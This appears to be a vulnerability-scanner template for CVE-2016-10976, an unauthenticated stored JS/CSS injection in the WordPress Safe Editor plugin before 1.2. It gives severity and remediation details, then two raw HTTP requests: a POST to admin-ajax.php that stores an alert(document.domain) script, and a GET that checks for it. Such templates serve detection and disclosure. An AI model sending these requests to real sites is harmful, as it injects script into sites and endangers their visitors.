| Title | Safe Editor Plugin < 1.2 - CSS/JS-injection |
|---|---|
| Author | Splint3r7 |
| Severity | Medium |
| Impact | Unauthenticated attackers can inject malicious JavaScript or CSS code into the site, potentially stealing credentials, manipulating site content, or targeting site visitors. |
| Remediation | Update to the latest version of safe-editor plugin or apply the patch provided by the vendor. |
| CVSS Score | 6.1 |
| EPSS Score | 0.00656 |
| CVE ID | CVE-2016-10976 |
| CWE ID | CWE-79 |
| Tags | cve cve2016 wordpress wp wp-plugin xss safe_editor vuln |
The safe-editor plugin before 1.2 for WordPress has no se_save authentication, with resultant XSS.
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0
Connection: close
Content-Length: 50
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Accept-Encoding: gzip
action=se_save&type=js&data=alert(document.domain)
GET / HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh, Intel Mac OS X 10.15, rv:140.0) Gecko/20100101 Firefox/140.0
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
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